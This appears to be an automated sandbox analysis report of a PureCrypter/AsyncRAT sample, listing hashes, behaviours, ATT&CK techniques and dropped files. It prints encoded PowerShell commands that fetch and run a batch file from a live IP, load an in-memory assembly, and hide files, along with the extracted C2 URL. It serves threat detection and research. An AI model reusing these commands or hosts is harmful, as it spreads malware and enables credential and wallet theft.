Analysis

  • max time kernel
    72s
  • max time network
    98s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-01-2023 17:43

General

  • Target

    1501ed409db46bc33f3f4a13c9d2150308597fb91cff20e04c9df0d5f3dec37d.exe

  • Size

    172KB

  • MD5

    6f97a3f9d8c88ac5ba01fccf033a66aa

  • SHA1

    5152b20ec9d63e9decb5a17ae652ebd105ce0a24

  • SHA256

    1501ed409db46bc33f3f4a13c9d2150308597fb91cff20e04c9df0d5f3dec37d

  • SHA512

    a6c3afda108f973a0a4d424db289726c5ee0a46c88030e9354ffa639e81e03a6c4209dbfef4d0c384e919a7a904d4c15feef8e33057017f6a62843362640bdcb

  • SSDEEP

    1536:pc9URWzKr7PhuuUpV7+5JTiy95UuUCQahsf5mZIWiwwr7QXsouW2ASDDA6rRcC+R:ppWaxa7Dy956S2j4xnsvXtPdSae1

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.106.94.146/filezilla.bat

Extracted

Family

purecrypter

C2

http://163.123.142.210/Twpowpijhqf.dat

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • PureCrypter

    PureCrypter is a .NET malware loader first seen in early 2021.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1501ed409db46bc33f3f4a13c9d2150308597fb91cff20e04c9df0d5f3dec37d.exe
    "C:\Users\Admin\AppData\Local\Temp\1501ed409db46bc33f3f4a13c9d2150308597fb91cff20e04c9df0d5f3dec37d.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3892
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      2⤵
        PID:4244
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        2⤵
          PID:4944
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          2⤵
            PID:4268
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            2⤵
            • Checks computer location settings
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4900
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAxADgANQAuADEAMAA2AC4AOQA0AC4AMQA0ADYALwBmAGkAbABlAHoAaQBsAGwAYQAuAGIAYQB0ACIALAAgACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABpAHkAdQBmAGIAeAB1AHAALgBiAGEAdAAiACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABpAHkAdQBmAGIAeAB1AHAALgBiAGEAdAAiAA==
              3⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4128
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iyufbxup.bat" "
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3204
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h "C:\Users\Admin\AppData\Local\Temp\iyufbxup.bat".exe
                  5⤵
                  • Views/modifies file attributes
                  PID:3304
                • C:\Users\Admin\AppData\Local\Temp\iyufbxup.bat.exe
                  "C:\Users\Admin\AppData\Local\Temp\iyufbxup.bat".exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAZQBuAHQAcgB5AFAAbwBpAG4AdABNAGUAdABoAG8AZAAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAcwAoACkALgBXAGgAZQByAGUAKAB7ACAAJABfAC4ATgBhAG0AZQAgAC0AZQBxACAAJwBQAHIAbwBnAHIAYQBtACcAIAB9ACwAIAAnAEYAaQByAHMAdAAnACkALgBHAGUAdABNAGUAdABoAG8AZAAoACcATQBhAGkAbgAnACwAIABbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBCAGkAbgBkAGkAbgBnAEYAbABhAGcAcwBdACAAJwBTAHQAYQB0AGkAYwAsACAAUAB1AGIAbABpAGMALAAgAE4AbwBuAFAAdQBiAGwAaQBjACcAKQA7ACAAJABlAG4AdAByAHkAUABvAGkAbgB0AE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
                  5⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4920
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -h "C:\Users\Admin\AppData\Local\Temp\iyufbxup.bat".exe
                  5⤵
                  • Views/modifies file attributes
                  PID:4172

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Persistence

        Registry Run Keys / Startup Folder

        1
        T1060

        Hidden Files and Directories

        1
        T1158

        Defense Evasion

        Modify Registry

        1
        T1112

        Hidden Files and Directories

        1
        T1158

        Credential Access

        Credentials in Files

        1
        T1081

        Discovery

        Query Registry

        1
        T1012

        System Information Discovery

        2
        T1082

        Collection

        Data from Local System

        1
        T1005

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          Filesize

          1KB

          MD5

          4280e36a29fa31c01e4d8b2ba726a0d8

          SHA1

          c485c2c9ce0a99747b18d899b71dfa9a64dabe32

          SHA256

          e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

          SHA512

          494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          Filesize

          53KB

          MD5

          06ad34f9739c5159b4d92d702545bd49

          SHA1

          9152a0d4f153f3f40f7e606be75f81b582ee0c17

          SHA256

          474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

          SHA512

          c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          16KB

          MD5

          64e3c1f3769594efe0f6b72112372b9c

          SHA1

          04e93ee6871d639374a0646b2b10251fcfe22994

          SHA256

          d11ad393667a566fc8b3abf7ccfc147ef4e6f7ddb41d1dca86f357a8422796b9

          SHA512

          a2894d359e4cf8063b30d184dec9c81c0f977239e6ac28dd1b1b53a5e902ea40f88325d6c2cc7bfa37d131b9b06ec2e143934dc177711df830de59c53e92f8be

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          16KB

          MD5

          d5c91f93a6af73329f3698e2c60edcac

          SHA1

          db1712cfdef6f42b656f8ba4a524b2a562c48807

          SHA256

          b7ae9999e15ebe1f8270f3fdcb52dfcf11f75879a36b169a130ccf92812ac839

          SHA512

          067ca48c909df9908a667ad53c23e347dd0524d589cc60d54ec6ada1f3d90ec0669214e7920d8d885c621103e227b23697d8baea4bdc0625f71c29d8a7c79373

        • C:\Users\Admin\AppData\Local\Temp\iyufbxup.bat
          Filesize

          2.9MB

          MD5

          d13b94b1970862a738f2432123e7133a

          SHA1

          320223f72702ee27bf0a5d5d0a412779a2d8e07a

          SHA256

          8b4d93a591d964a985c303ac6c1fdd2198a84ac557f339fd9da525cf094d6f54

          SHA512

          d644df04d5558592d58e934075f80cd447e726679952c9a6b3b34ae1220868849ed47e51d52d5ee504febe86ff64e74a44bdb31bff1c9cd2d8bb117d8dd7a777

        • C:\Users\Admin\AppData\Local\Temp\iyufbxup.bat.exe
          Filesize

          423KB

          MD5

          c32ca4acfcc635ec1ea6ed8a34df5fac

          SHA1

          f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

          SHA256

          73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

          SHA512

          6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

        • C:\Users\Admin\AppData\Local\Temp\iyufbxup.bat.exe
          Filesize

          423KB

          MD5

          c32ca4acfcc635ec1ea6ed8a34df5fac

          SHA1

          f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

          SHA256

          73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

          SHA512

          6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

        • memory/1740-133-0x00000000080F0000-0x0000000008112000-memory.dmp
          Filesize

          136KB

        • memory/1740-132-0x0000000000D90000-0x0000000000DC0000-memory.dmp
          Filesize

          192KB

        • memory/3204-154-0x0000000000000000-mapping.dmp
        • memory/3304-156-0x0000000000000000-mapping.dmp
        • memory/3892-136-0x0000000004DF0000-0x0000000005418000-memory.dmp
          Filesize

          6.2MB

        • memory/3892-141-0x00000000060D0000-0x00000000060EA000-memory.dmp
          Filesize

          104KB

        • memory/3892-140-0x0000000007440000-0x0000000007ABA000-memory.dmp
          Filesize

          6.5MB

        • memory/3892-139-0x0000000005BE0000-0x0000000005BFE000-memory.dmp
          Filesize

          120KB

        • memory/3892-138-0x0000000005580000-0x00000000055E6000-memory.dmp
          Filesize

          408KB

        • memory/3892-137-0x00000000054A0000-0x0000000005506000-memory.dmp
          Filesize

          408KB

        • memory/3892-135-0x0000000004630000-0x0000000004666000-memory.dmp
          Filesize

          216KB

        • memory/3892-134-0x0000000000000000-mapping.dmp
        • memory/4128-153-0x0000000007FE0000-0x0000000008584000-memory.dmp
          Filesize

          5.6MB

        • memory/4128-152-0x0000000006200000-0x0000000006222000-memory.dmp
          Filesize

          136KB

        • memory/4128-151-0x0000000007110000-0x00000000071A6000-memory.dmp
          Filesize

          600KB

        • memory/4128-147-0x0000000000000000-mapping.dmp
        • memory/4172-161-0x0000000000000000-mapping.dmp
        • memory/4244-142-0x0000000000000000-mapping.dmp
        • memory/4268-144-0x0000000000000000-mapping.dmp
        • memory/4900-146-0x0000000000400000-0x0000000000484000-memory.dmp
          Filesize

          528KB

        • memory/4900-145-0x0000000000000000-mapping.dmp
        • memory/4920-158-0x0000000000000000-mapping.dmp
        • memory/4944-143-0x0000000000000000-mapping.dmp